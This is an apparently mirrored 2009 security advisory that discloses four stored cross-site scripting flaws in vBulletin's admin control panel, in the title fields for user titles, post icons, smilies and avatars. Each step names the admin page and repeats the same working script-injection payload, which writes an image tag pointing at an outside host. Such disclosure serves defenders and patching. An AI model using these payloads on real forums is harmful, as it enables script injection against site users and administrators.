Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21587
HistoryApr 07, 2009 - 12:00 a.m.

[Aria-Security.com] vBulletin multiple XSS

2009-04-0700:00:00
vulners.com
20

vBulletin 3.8.2 adminCP Cross-Site Scripting
R.I.P DrtRp - We miss you

Original Post at http://forum.aria-security.com/en/showthread.php?p=1179
Greetz to Aura & all Aria-Security Mods & Members

These were all tested on vbulletin 3.8.0 RC2 so other version may be effected.

  1. Users Title. admincp/usertitle.php?do=modify. Add a new title. use the following code as title name.

<script>document.write('<img src="http://forum.aria-security.com/fa/cb/cb/logo.gif&quot;&gt;&#39;&#41;&lt;/script&gt;
or any other XSS code.

2.Post Icons. admincp/image.php?do=add&table=icon add new title… give a wrong path such as /images/aria.gif. use the
following code as title name.

<script>document.write('<img src="http://forum.aria-security.com/fa/cb/cb/logo.gif&quot;&gt;&#39;&#41;&lt;/script&gt;

3.Post new Smilies. image.php?do=add&table=smilie … SAME AS #2. use the following code as title name.

<script>document.write('<img src="http://forum.aria-security.com/fa/cb/cb/logo.gif&quot;&gt;&#39;&#41;&lt;/script&gt;

4.New avatar. admincp/image.php?do=add&table=avatar Same as #2. dont forget the update. use the following code as title
name.

<script>document.write('<img src="http://forum.aria-security.com/fa/cb/cb/logo.gif&quot;&gt;&#39;&#41;&lt;/script&gt;

The-0utl4w
http://Aria-Security.com
/* the-0utl4w.com